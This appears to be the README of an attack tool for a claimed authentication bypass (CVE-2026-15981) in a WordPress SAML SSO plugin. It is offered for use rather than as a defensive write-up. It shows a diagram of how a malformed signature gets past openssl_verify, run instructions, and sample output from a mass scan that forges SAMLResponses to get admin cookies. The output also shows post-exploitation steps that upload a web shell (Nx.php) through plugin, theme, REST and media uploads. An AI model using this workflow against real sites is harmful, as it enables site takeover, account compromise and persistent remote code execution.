Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

Python >= 3.8

pip install requests lxml

python CVE-2026-15981.py

https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)